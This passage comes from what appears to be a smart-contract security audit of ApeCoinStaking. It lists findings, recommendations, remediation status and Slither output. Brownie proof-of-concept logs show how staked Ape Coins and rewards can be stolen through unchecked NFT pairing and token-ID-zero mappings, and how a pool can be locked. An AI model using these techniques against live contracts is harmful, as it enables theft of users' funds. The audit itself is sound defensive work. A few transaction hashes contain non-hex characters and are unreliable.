  ApeCoinStaking.depositBAKC confirmed   Block: 15411888   Gas used: 145774 (0.02%)

contract_ApeCoinStaking.stakedTotal(user1) -> 100000000000000000000

Calling -> chain.sleep(11063034)
Calling -> chain.mine(1)



contract_ApeCoinStaking.pendingRewards(0, user1, 0) -> 0

Calling -> chain.sleep(86400*90)
Calling -> chain.mine(1)


contract_ApeCoinStaking.pendingRewards(3, user1, 0) -> 134224999999999999999900
contract_ApeCoinStaking.stakedTotal(user1) -> 100000000000000000000
contract_ApeCoinStaking.stakedTotal(user2) -> 0
contract_ApeCoin.balanceOf(user1) -> 0
contract_ApeCoin.balanceOf(user2) -> 100000000000000000000

Calling -> contract_KEN.transferFrom(user1.address, user2.address , 0, {'from': user1})
Transaction sent: 0x437f47dffee22fd3170cd047c6769034f7e183dc55ba161829dea118780513e8
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 2
  KEN.transferFrom confirmed   Block: 15411891   Gas used: 37219 (0.01%)

Calling -> contract_ApeCoinStaking.claimBAKC([(8523, 0)], [], user2.address, {'from': user2})
Transaction sent: 0x038b71767b480718a0df995f735e320b244bdd2aa5444lda93084c4ff85cdf2a
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 0
  ApeCoinStaking.claimBAKC confirmed   Block: 15411892   Gas used: 133815 (0.02%)

contract_ApeCoinStaking.pendingRewards(3, user1, 0) -> 0
contract_ApeCoinStaking.stakedTotal(user1) -> 0
contract_ApeCoinStaking.stakedTotal(user2) -> 100000000000000000000
contract_ApeCoin.balanceOf(user1) -> 0
contract_ApeCoin.balanceOf(user2) -> 134234999999999999999900
```

Risk Level:

Likelihood - 5
Impact - 5

Recommendation:

It is recommended to validate that the NFTs passed to the claimBAKC() function call are paired. On the other hand, special care should be taken with the BAKC #0 as the mainToBakc[mainTypePoolId][mainTokenId] mapping will be initialized with that value.

Remediation Plan:

SOLVED: The Horizen Labs team solved the issue. The ApeCoinStaking smart contract checks now that the NFT IDs passed to the claimBAKC() are correctly paired.

3.5 (HAL-05) APE COINS STAKED AND ACCRUED REWARDS CAN BE STOLEN FROM THE BAKC POOL IF THE BAKC ID 0 IS PAIRED WITH THE BAYC/MAYC WITH ID 0 - CRITICAL

Description:

In the case that a user pairs the BAYC/MAYC #0 with the BAKC #0 these mappings will take the following values:
`mainToBakc[1][0].tokenId == 0`
`bakcToMain[0][1].tokenId == 0`

In order to perform a withdrawal or a claim the following require statements should be passed:

Listing 8: ApeCoinStaking.sol (Lines 800,801,802,805)

```
792     function _withdrawPairNft(uint256 mainTypePoolId,
 ↳ PairNftWithAmount[] calldata _nfts) private {
793         for(uint i; i < _nfts.length; ++i) {
794             uint256 mainTokenId = _nfts[i].mainTokenId;
795             uint256 bakcTokenId = _nfts[i].bakcTokenId;
796             uint256 amount = _nfts[i].amount;
797             address mainTokenOwner = nftContracts[mainTypePoolId].
 ↳ ownerOf(mainTokenId);
798             address bakcOwner = nftContracts[BAKC_POOL_ID].ownerOf
 ↳ (bakcTokenId);
799
800             require(mainTokenOwner == msg.sender || bakcOwner ==
 ↳ msg.sender, "At least one token in pair must be owned by caller");
801             require(mainToBakc[mainTypePoolId][mainTokenId].
 ↳ tokenId == bakcTokenId
802                 && bakcToMain[bakcTokenId][mainTypePoolId].tokenId
 ↳  == mainTokenId, "The provided Token IDs are not paired");
803
804             Position storage position = nftPosition[BAKC_POOL_ID][
 ↳ bakcTokenId];
```

```
805             require(mainTokenOwner == bakcOwner || amount ==
 ↳ position.stakedAmount, "Split pair can't partially withdraw");
806
807             if (amount == position.stakedAmount) {
808                 uint256 rewardsToBeClaimed = _claim(BAKC_POOL_ID,
 ↳ position, bakcOwner);
809                 mainToBakc[mainTypePoolId][mainTokenId] =
 ↳ PairingStatus(0, false);
810                 bakcToMain[bakcTokenId][mainTypePoolId] =
 ↳ PairingStatus(0, false);
811                 emit ClaimRewardsPairNft(msg.sender,
 ↳ rewardsToBeClaimed, mainTypePoolId, mainTokenId, bakcTokenId);
812             }
813             _withdraw(BAKC_POOL_ID, position, amount,
 ↳ mainTokenOwner);
814             emit WithdrawPairNft(msg.sender, amount,
 ↳ mainTypePoolId, mainTokenId, bakcTokenId);
815         }
816     }
```

Listing 9: ApeCoinStaking.sol (Lines 755-758)

```
748     function _claimPairNft(uint256 mainTypePoolId, PairNft[]
 ↳ calldata _pairs, address _recipient) private {
749         for(uint i; i < _pairs.length; ++i) {
750             uint256 mainTokenId = _pairs[i].mainTokenId;
751             uint256 bakcTokenId = _pairs[i].bakcTokenId;
752
753             Position storage position = nftPosition[BAKC_POOL_ID][
 ↳ bakcTokenId];
754
755             require(nftContracts[mainTypePoolId].ownerOf(
 ↳ mainTokenId) == msg.sender, "Main Token not owned by caller");
756             require(nftContracts[BAKC_POOL_ID].ownerOf(bakcTokenId
 ↳ ) == msg.sender, "BAKC Token not owned by caller");
757             require(mainToBakc[mainTypePoolId][mainTokenId].
 ↳ tokenId == bakcTokenId
758                 && bakcToMain[bakcTokenId][mainTypePoolId].tokenId
 ↳  == mainTokenId, "The provided Token IDs are not paired");
759
760             uint256 rewardsToBeClaimed = _claim(BAKC_POOL_ID,
 ↳ position, _recipient);
761             emit ClaimRewardsPairNft(msg.sender,
 ↳ rewardsToBeClaimed, mainTypePoolId, mainTokenId, bakcTokenId);
```

```
762          }
763      }
```

Considering that all the mappings are initially set to 0 by the compiler:
`mainToBakc[2][0].tokenId == 0`
`bakcToMain[0][2].tokenId == 0`

This means that if the BAYC #0 is paired with the BAKC #0 the user with the MAYC #0 would be able to steal the staked Ape Coins and the accrued rewards.

Proof of Concept:

```
contract_BAYC.ownerOf(0) -> 0x0000000000000000000000000000000000000101 USER1
contract_MAYC.ownerOf(0) -> 0x0000000000000000000000000000000000000104 USER4
contract_KEN.ownerOf(0) -> 0x0000000000000000000000000000000000000101  USER1

Calling -> contract_ApeCoinStaking.depositBAKC([(0, 0, 100_123456789012345678)], [], {'from': user1})
Transaction sent: 0x9f23b62bf2620f222093a3101ef5001a7d1848d1f1ff5c8d2cb07e9535cb5939
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 1
  ApeCoinStaking.depositBAKC confirmed   Block: 15626039   Gas used: 126603 (0.02%)

contract_ApeCoinStaking.stakedTotal(user1) -> 100123456789012345678


contract_ApeCoin.balanceOf(user1) -> 0
contract_ApeCoin.balanceOf(user4) -> 0

Calling -> contract_ApeCoinStaking.withdrawBAKC([], [(0, 0, 100_123456789012345678)], {'from': user4})
Transaction sent: 0xed4cf7858f65af9b7b3867d7652d70bb817a1157e17c74a9305cf51d5a256a30
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 0
  ApeCoinStaking.withdrawBAKC confirmed   Block: 15626040   Gas used: 52674 (0.01%)

contract_ApeCoinStaking.stakedTotal(user1) -> 0
contract_ApeCoin.balanceOf(user1) -> 0
contract_ApeCoin.balanceOf(user4) -> 100123456789012345678
```

Risk Level:

Likelihood - 5
Impact - 5

Recommendation:

It is recommended to add an extra check that checks the PairingStatus of the mainToBakc and bakcToMain mappings.

Remediation Plan:

SOLVED: The Horizen Labs team solved the issue by adding the suggested check.

3.6 (HAL-06) NFT HOLDERS CAN ALLOW ANYONE TO STAKE INTO THE NFT POOLS THROUGH THE USE OF A SMART CONTRACT - HIGH

Description:

There are 3 different pools where only holders of an NFT can stake. These are the Bored Ape Yatch Club pool, the Mutant Ape Yatch Club pool and the Bored Ape Kennel Club pool.

These are the Ape Coin allocations for those pools:

BAYC Pool	MAYC Pool	BAKC Pool
47.105MM $APE	19.06MM $APE	3.835MM $APE

These staking pools are designed to benefit the NFT holders as they get access to a restricted staking pool.

In the ApeCoinStaking contract, the deposit and withdraw functions can be called by another smart contract. This means that someone could create a "ApeCoin delegator" smart contract where users can lend their BAYC, MAYC and BAKC NFTs. These NFTs then could be used by the ApeCoin delegator contract to stake in the ApeCoinStaking restricted pools. Users would delegate their Ape Coins into the ApeCoin delegator contract, and this contract would place the Ape Coins in the different restricted pools.

The ApeCoin delegator smart contract would keep a fee as the protocol fee,

the lenders could get another fee for lending their NFTs and the ApeCoin delegator users would get Ape Coins as rewards from the restricted pools.

This scenario would not really benefit NFT holders, as this would provide access to those restricted pools to a higher number of users. The higher number of users, the lower the shares, hence, lower rewards for the legit NFT holders.

Risk Level:

Likelihood - 5
Impact - 3

Recommendation:

It is recommended to restrict smart contracts from interacting with the ApeCoinStaking contract.

Remediation Plan:

RISK ACCEPTED: The Horizen Labs team accepts this risk, as this approach would also block multi-signature wallets.

3.7 (HAL-07) POOLS MAY GET LOCKED AFTER AN EMPTY CLAIM - MEDIUM

Description:

An edge case has been found in the ApeCoinStaking contract where if no ApeCoins are staked during a whole quarter or if pool.stakedAmount == 0 at the end of a quarter, and a user performs an empty claim() call in the first hour of the next quarter, the pool will get locked.

Users will still be able to deposit in the pool, but they will never be able to withdraw their stake or claim their accrued rewards from that pool.

```
Calling -> chain.sleep(3601)
Calling -> chain.sleep(1)

Calling -> chain.sleep(3601)
Calling -> chain.sleep(1)

Calling -> chain.sleep(3601)
Calling -> chain.sleep(1)

Calling -> chain.sleep(3601)
Calling -> chain.sleep(1)

Calling -> chain.sleep(3601)
Calling -> chain.sleep(1)

Calling -> chain.sleep(3601)
Calling -> chain.sleep(1)

Calling -> chain.sleep(3601)
Calling -> chain.sleep(1)

Calling -> chain.sleep(3601)
Calling -> chain.sleep(1)

Calling -> chain.sleep(3601)
Calling -> chain.sleep(1)

Calling -> chain.sleep(3601)
Calling -> chain.sleep(1)
Calling -> contract_ApeCoinStaking.claimApeCoin(user1.address, {'from': user1})
Transaction sent: 0xbc6e4dfelddea70e6e9c9be4ff98b031a2b14205461984a5dd301f3fc2889941
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 3
  ApeCoinStaking.claimApeCoin confirmed   Block: 15596899   Gas used: 28127 (0.00%)

  File "<console>", line 550, in <module>
  File "/usr/local/lib/python3.8/dist-packages/brownie/network/contract.py", line 1665, in __call__
    return self.call(*args, block_identifier=block_identifier)
  File "/usr/local/lib/python3.8/dist-packages/brownie/network/contract.py", line 1461, in call
    raise VirtualMachineError(e) from None
VirtualMachineError: revert
```

Recommendation:

It is recommended to disallow claiming a zero amount, for example:

Listing 10: ApeCoinStaking.sol (Line 229)

```
224 function claimApeCoin(address _recipient) public {
225     updatePool(APECOIN_POOL_ID);
226
227     Position storage position = addressPosition[msg.sender];
228     uint rewardsToBeClaimed = _claim(APECOIN_POOL_ID, position,
 ↳ _recipient);
229     require(rewardsToBeClaimed > 0, "Nothing to claim");
230
231     emit ClaimRewards(msg.sender, rewardsToBeClaimed, _recipient);
232 }
```

Remediation Plan:

SOLVED: The Horizen Labs team solved the issue in the Commit ID #6

3.8 (HAL-08) UNSAFE TYPE CASTINGS - LOW

Description:

Solidity 0.8 is introducing type checking for arithmetic operations, but not for type castings. Although very unlikely, the following type castings can overflow in the ApeCoinStaking contract:

Listing 11: ApeCoinStaking.sol (Line 593)

```
583 function pendingRewards(uint256 _poolId, address _address, uint256
 ↳  _tokenId) external view returns (uint256) {
584     Pool memory pool = pools[_poolId];
585     Position memory position = _poolId == 0 ? addressPosition[
 ↳ _address]: nftPosition[_poolId][_tokenId];
586
587     (uint256 rewardsSinceLastCalculated,) = rewardsBy(_poolId,
 ↳ pool.lastRewardedTimestampHour, getPreviousTimestampHour(block.
 ↳ timestamp));
588     uint256 accumulatedRewardsPerShare = pool.
 ↳ accumulatedRewardsPerShare;
589
590     if (block.timestamp > pool.lastRewardedTimestampHour +
 ↳ SECONDS_PER_HOUR && pool.stakedAmount != 0) {
591         accumulatedRewardsPerShare = accumulatedRewardsPerShare +
 ↳ rewardsSinceLastCalculated * APE_COIN_PRECISION / pool.
 ↳ stakedAmount;
592     }
593     return uint256(int256((position.stakedAmount *
 ↳ accumulatedRewardsPerShare / APE_COIN_PRECISION)) - position.
 ↳ rewardsDebt);
594 }
```

Listing 12: ApeCoinStaking.sol (Line 628)

```
621 function _deposit(uint256 _poolId, Position storage _position,
 ↳ uint256 _amount) private {
622     Pool storage pool = pools[_poolId];
623
624     _position.stakedAmount += _amount;
```

```
625     pool.stakedAmount += _amount;
626     _position.rewardsDebt += int256(_amount * pool.
 ↳ accumulatedRewardsPerShare / APE_COIN_PRECISION);
627
628     apeCoin.safeTransferFrom(msg.sender, address(this), _amount);
629 }
```

Listing 13: ApeCoinStaking.sol (Lines 677,678)

```
674 function _claim(uint256 _poolId, Position storage _position,
 ↳ address _recipient) private returns (uint256) {
675     Pool storage pool = pools[_poolId];
676
677     int256 accumulatedApeCoins = int256(_position.stakedAmount *
 ↳ pool.accumulatedRewardsPerShare / APE_COIN_PRECISION);
678     uint256 rewardsToBeClaimed = uint256(accumulatedApeCoins -
 ↳ _position.rewardsDebt);
679
680     _position.rewardsDebt = accumulatedApeCoins;
681
682     if (rewardsToBeClaimed != 0) {
683         apeCoin.safeTransfer(_recipient, rewardsToBeClaimed);
684     }
685     return rewardsToBeClaimed;
686 }
```

Listing 14: ApeCoinStaking.sol (Line 720)

```
715 function _withdraw(uint256 _poolId, Position storage _position,
 ↳ uint256 _amount, address _recipient) private {
716     Pool storage pool = pools[_poolId];
717
718     _position.stakedAmount -= _amount;
719     pool.stakedAmount -= _amount;
720     _position.rewardsDebt -= int256(_amount * pool.
 ↳ accumulatedRewardsPerShare / APE_COIN_PRECISION);
721
722     apeCoin.safeTransfer(_recipient, _amount);
723 }
```

Recommendation:

It is recommended to use the SafeCast library in the lines mentioned:

Listing 15: SafeCast.sol

```
1 function toUint256(int256 value) internal pure returns (uint256) {
2     require(value >= 0, "SafeCast: value must be positive");
3     return uint256(value);
4 }
```

Listing 16: SafeCast.sol

```
1 function toInt256(uint256 value) internal pure returns (int256) {
2     // Note: Unsafe cast below is okay because `type(int256).max`
↳ is guaranteed to be positive
3     require(value <= uint256(type(int256).max), "SafeCast: value
↳ doesn't fit in an int256");
4     return int256(value);
5 }
```

Remediation Plan:

SOLVED: The Horizen Labs team solved the issue and now uses the SafeCast library to perform all the type castings.

3.9 (HAL-09) CONTRACT DOES NOT ENFORCE THAT SETREWARDSPERTIMERANGE IS CALLED IN A CORRECT ORDER - LOW

Description:

The function setRewardsPerTimeRange() sets time ranges with given rewards per hour for a given pool:

Listing 17: ApeCoinStaking.sol

```
361 function setRewardsPerTimeRange(
362     uint256 _poolId,
363     uint256 _amount,
364     uint256 _startTimestamp,
365     uint256 _endTimeStamp,
366     uint256 _capPerPosition) external onlyOwner
367 {
368     require (_poolId < 4, "Invalid poolId");
369     require (_startTimestamp < _endTimeStamp, "_startTimestamp
 ↳ should be less than _endTimeStamp");
370     require(getMinute(_startTimestamp) == 0 && getSecond(
 ↳ _startTimestamp) == 0, "_startTimestamp is not a whole hour");
371     require(getMinute(_endTimeStamp) == 0 && getSecond(
 ↳ _endTimeStamp) == 0, "_endTimeStamp is not a whole hour");
372
373     Pool storage pool = pools[_poolId];
374     uint256 hoursInSeconds = _endTimeStamp - _startTimestamp;
375     uint256 rewardsPerHour = _amount * SECONDS_PER_HOUR /
 ↳ hoursInSeconds;
376
377     RewardsPerHourInRange memory next = RewardsPerHourInRange(
 ↳ _startTimestamp, _endTimeStamp, rewardsPerHour, _capPerPosition);
378     pool.rewardsPerHourInRanges.push(next);
379 }
```

This onlyOwner function should be called in a correct order meaning that first, for example, the rewards for the first quarter for the ApeCoin pool should be set, then the second quarter etc.

The ApeCoinStaking contract should enforce that the initial timestamp of the new range is equal to the end timestamp of the previous range. This check is currently missing in the smart contract and is prone to human errors.

Recommendation:

It is recommended to enforce in the setRewardsPerTimeRange() function that the initial timestamp of the new range is equal to the end timestamp of the previous range.

Remediation Plan:

SOLVED: The Horizen Labs team solved the issue and the setRewardsPerTimeRange() function now checks that the _startTimestamp of the new range is equal to the last endTimestampHour of the previous range.

3.10 (HAL-10) WITHDRAWAPECOIN FUNCTION DOES NOT AUTOMATICALLY CLAIM THE ACCRUED REWARDS - INFORMATIONAL

Description:

In the ApeCoinStaking contract, the following functions claim the rewards and withdraw the staked Ape Coins:

- withdrawBAYC()
- withdrawSelfBAYC()
- withdrawMAYC()
- withdrawSelfMAYC()
- withdrawBAKC()

The same logic is not implemented in the withdrawApeCoin() and withdrawSelfApeCoin() functions. Users would withdraw their staked Ape Coins, but to claim the accrued Ape Coin rewards, they would need an extra call to the claimApeCoin() or claimSelfApeCoin() functions.

Recommendation:

It is recommended to also claim the accrued rewards when withdrawApeCoin() and withdrawSelfApeCoin() functions are called.

Remediation Plan:

SOLVED: The Horizen Labs team solved the issue and now also claims the accrued rewards when the withdrawApeCoin() and withdrawSelfApeCoin() functions are called.

3.11 (HAL-11) MINIMUM DEPOSIT AMOUNT CAN BE BYPASSED - INFORMATIONAL

Description:

In the ApeCoinStaking contract, there is a minimum amount of Ape Coins that users can deposit into any of the pools. This amount is equal to 1 Ape Coin:

Listing 18: ApeCoinStaking.sol (Line 171)

```
170 function depositApeCoin(uint256 _amount, address _recipient)
 ↳ public {
171     require(_amount >= MIN_DEPOSIT, "Can't deposit less than 1
 ↳ $APE");
172     updatePool(APECOIN_POOL_ID);
173
174     Position storage position = addressPosition[_recipient];
175     _deposit(APECOIN_POOL_ID, position, _amount);
176
177     emit Deposit(msg.sender, _amount, _recipient);
178 }
```

This minimum deposit restriction can be easily bypassed by doing a withdrawal right after the deposit, leaving a small amount staked.

Proof of Concept:

1. User1 stakes 1_000000000000000000 Ape Coins into the Ape Coin pool.
2. User1 withdraws 999999999999999999 Ape Coins from the Ape Coin pool.
3. contract_ApeCoinStaking.stakedTotal(user1)-> 1

```
Calling -> contract_ApeCoinStaking.depositApeCoin(1_000000000000000000, user1.address, {'from': user1})
Transaction sent: 0x189fda94e6abbcc5c5d329b83a3792d67b7de0df4300b01180a50078767a6d5c
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 1
  ApeCoinStaking.depositApeCoin confirmed   Block: 15432939   Gas used: 95770 (0.02%)

contract_ApeCoinStaking.stakedTotal(user1) -> 1000000000000000000

Calling -> contract_ApeCoinStaking.withdrawApeCoin(999999999999999999, user1.address, {'from': user1})
Transaction sent: 0x28fd93969e54578405c6c9c95904be119ee916a960c5087de7ded81ec915bc4d
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 2
  ApeCoinStaking.withdrawApeCoin confirmed   Block: 15432940   Gas used: 46577 (0.01%)

contract_ApeCoinStaking.stakedTotal(user1) -> 1
```

Recommendation:

Consider unstaking all the tokens deposited when the remaining amount of Ape Coins staked is lower than the MIN_DEPOSIT amount.

Remediation Plan:

ACKNOWLEDGED: The Horizen Labs team acknowledged this finding.

3.12 (HAL-12) LACK OF AN EMERGENCYWITHDRAW FUNCTION - INFORMATIONAL

Description:

As some issues found in the ApeCoinStaking contract caused some funds to be locked in the smart contract and also taking into consideration the high reputation of the project, we believe that it may be useful to:

1. Keep track offchain of all the deposits/stakes/withdrawals/accrued rewards.
2. Add an emergencyWithdraw() function with an onlyOwner modifier that is protected behind a multisignature wallet.

By implementing this, in case of any possible rounding/calculation issue that may cause any funds to be locked, the emergencyWithdraw() function could be used to retrieve the locked funds and assign them accordingly to the affected users.

Recommendation:

It is recommended to:
1. Keep tracking offchain of all the deposits/stakes/withdrawals/accrued rewards.
2. Add an emergencyWithdraw() function with an onlyOwner modifier that is protected behind a multisignature wallet.

Remediation Plan:

ACKNOWLEDGED: The Horizen Labs team acknowledged this finding.

3.13 (HAL-13) MISSING REQUIRE STATEMENT IN WITHDRAW FUNCTION - INFORMATIONAL

Description:

In the ApeCoinStaking contract, the private _withdraw() function is called every time a user wants to withdraw their Ape Coins from a staking pool:

Listing 19: ApeCoinStaking.sol (Line 173)

```
170 function _withdraw(uint256 _poolId, Position storage _position,
 ↳ uint256 _amount, address _recipient) private {
171     Pool storage pool = pools[_poolId];
172
173     _position.stakedAmount -= _amount;
174     pool.stakedAmount -= _amount;
175     _position.rewardsDebt -= (_amount * pool.
 ↳ accumulatedRewardsPerShare).toInt256();
176
177     apeCoin.safeTransfer(_recipient, _amount);
178 }
```

Although, this function does not check if the _amount is actually <= than the _position.stakedAmount. When this _amount is higher, the EVM will revert with an overflow error.

Recommendation:

It is recommended to add a require statement that checks if the _amount is actually <= than the _position.stakedAmount to avoid the overflow error.

Remediation Plan:

SOLVED: The Horizen Labs team solved the issue by adding the suggested require statement.

AUTOMATED TESTING

4.1 STATIC ANALYSIS REPORT

Description:

Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified the smart contracts in the repository and was able to compile them correctly into their ABIS and binary format, Slither was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

Slither results:

ApeCoinStaking.sol

```
ApeCoinStaking.getMinute(uint256) (contracts/ApeCoinStaking.sol#586-589) uses a weak PRNG: "secs = timestamp % SECONDS_PER_HOUR (contracts/ApeCoinStaking.sol#587)"
ApeCoinStaking.getSecond(uint256) (contracts/ApeCoinStaking.sol#594-596) uses a weak PRNG: "second = timestamp % SECONDS_PER_MINUTE (contracts/ApeCoinStaking.sol#595)"
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#weak-PRNG

Reentrancy in ApeCoinStaking._withdrawNft(uint256,ApeCoinStaking.SingleNft[],address) (contracts/ApeCoinStaking.sol#709-724):
        External calls:
        - rewardsToBeClaimed = _claim(_poolId,position,_recipient) (contracts/ApeCoinStaking.sol#718)
                - returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
                - apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
        - _withdraw(_poolId,position,amount,_recipient) (contracts/ApeCoinStaking.sol#721)
                - returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
                - apeCoin.safeTransfer(_recipient, _amount) (contracts/ApeCoinStaking.sol#706)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
        External calls sending eth:
        - rewardsToBeClaimed = _claim(_poolId,position,_recipient) (contracts/ApeCoinStaking.sol#718)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
        - _withdraw(_poolId,position,amount,_recipient) (contracts/ApeCoinStaking.sol#721)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
        State variables written after the call(s):
        - _withdraw(_poolId,position,amount,_recipient) (contracts/ApeCoinStaking.sol#721)
                - pool.stakedAmount -= _amount (contracts/ApeCoinStaking.sol#703)
Reentrancy in ApeCoinStaking._withdrawPairNft(uint256,ApeCoinStaking.PairNftWithAmount[]) (contracts/ApeCoinStaking.sol#726-748):
        External calls:
        - rewardsToBeClaimed = _claim(BAKC_POOL_ID,position,bakcOwner) (contracts/ApeCoinStaking.sol#740)
                - returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
                - apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
        - _withdraw(BAKC_POOL_ID,position,amount,mainTokenOwner) (contracts/ApeCoinStaking.sol#745)
                - returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
                - apeCoin.safeTransfer(_recipient, _amount) (contracts/ApeCoinStaking.sol#706)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
        External calls sending eth:
        - rewardsToBeClaimed = _claim(BAKC_POOL_ID,position,bakcOwner) (contracts/ApeCoinStaking.sol#740)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
        - _withdraw(BAKC_POOL_ID,position,amount,mainTokenOwner) (contracts/ApeCoinStaking.sol#745)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
        State variables written after the call(s):
        - _withdraw(BAKC_POOL_ID,position,amount,mainTokenOwner) (contracts/ApeCoinStaking.sol#745)
                - pool.stakedAmount -= _amount (contracts/ApeCoinStaking.sol#703)
Reentrancy in ApeCoinStaking.depositBAKC(ApeCoinStaking.PairNftWithAmount[],ApeCoinStaking.PairNftWithAmount[]) (contracts/ApeCoinStaking.sol#203-207):
        External calls:
        - _depositPairNft(BAYC_POOL_ID,_baycPairs) (contracts/ApeCoinStaking.sol#205)
                - returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
                - apeCoin.safeTransferFrom(msg.sender,address(this),_amount) (contracts/ApeCoinStaking.sol#613)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
        - _depositPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#206)
                - returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
                - apeCoin.safeTransferFrom(msg.sender,address(this),_amount) (contracts/ApeCoinStaking.sol#613)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
        External calls sending eth:
        - _depositPairNft(BAYC_POOL_ID,_baycPairs) (contracts/ApeCoinStaking.sol#205)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
        - _depositPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#206)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
        State variables written after the call(s):
        - _depositPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#206)
                - bakcToMain[bakcTokenId][mainTypePoolId] = PairingStatus(mainTokenId,true) (contracts/ApeCoinStaking.sol#641)
        - _depositPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#206)
                - mainToBakc[mainTypePoolId][mainTokenId] = PairingStatus(bakcTokenId,true) (contracts/ApeCoinStaking.sol#640)
        - _depositPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#206)
                - pool.stakedAmount += _amount (contracts/ApeCoinStaking.sol#610)
Reentrancy in ApeCoinStaking.withdrawBAKC(ApeCoinStaking.PairNftWithAmount[],ApeCoinStaking.PairNftWithAmount[]) (contracts/ApeCoinStaking.sol#342-346):
        External calls:
        - _withdrawPairNft(BAYC_POOL_ID,_baycPairs) (contracts/ApeCoinStaking.sol#344)
                - returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
                - apeCoin.safeTransfer(_recipient, _amount) (contracts/ApeCoinStaking.sol#706)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
                - apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
        - _withdrawPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#345)
                - returndata = address(token).functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#110)
                - apeCoin.safeTransfer(_recipient, _amount) (contracts/ApeCoinStaking.sol#706)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
                - apeCoin.safeTransfer(_recipient,rewardsToBeClaimed) (contracts/ApeCoinStaking.sol#668)
        External calls sending eth:
        - _withdrawPairNft(BAYC_POOL_ID,_baycPairs) (contracts/ApeCoinStaking.sol#344)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
        - _withdrawPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#345)
                - (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
        State variables written after the call(s):
        - _withdrawPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#345)
                - bakcToMain[bakcTokenId][mainTypePoolId].isPaired = false (contracts/ApeCoinStaking.sol#742)
        - _withdrawPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#345)
                - mainToBakc[mainTypePoolId][mainTokenId].isPaired = false (contracts/ApeCoinStaking.sol#741)
        - _withdrawPairNft(MAYC_POOL_ID,_maycPairs) (contracts/ApeCoinStaking.sol#345)
                - pool.stakedAmount -= _amount (contracts/ApeCoinStaking.sol#703)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities

ApeCoinStaking.addressPosition (contracts/ApeCoinStaking.sol#34) is never initialized. It is used in:
        - ApeCoinStaking.depositApeCoin(uint256,address) (contracts/ApeCoinStaking.sol#164-172)
        - ApeCoinStaking.claimApeCoin(address) (contracts/ApeCoinStaking.sol#215-222)
        - ApeCoinStaking.withdrawApeCoin(uint256,address) (contracts/ApeCoinStaking.sol#290-297)
        - ApeCoinStaking.stakedTotal(address) (contracts/ApeCoinStaking.sol#447-455)
        - ApeCoinStaking.getApeCoinStake(address) (contracts/ApeCoinStaking.sol#508-515)
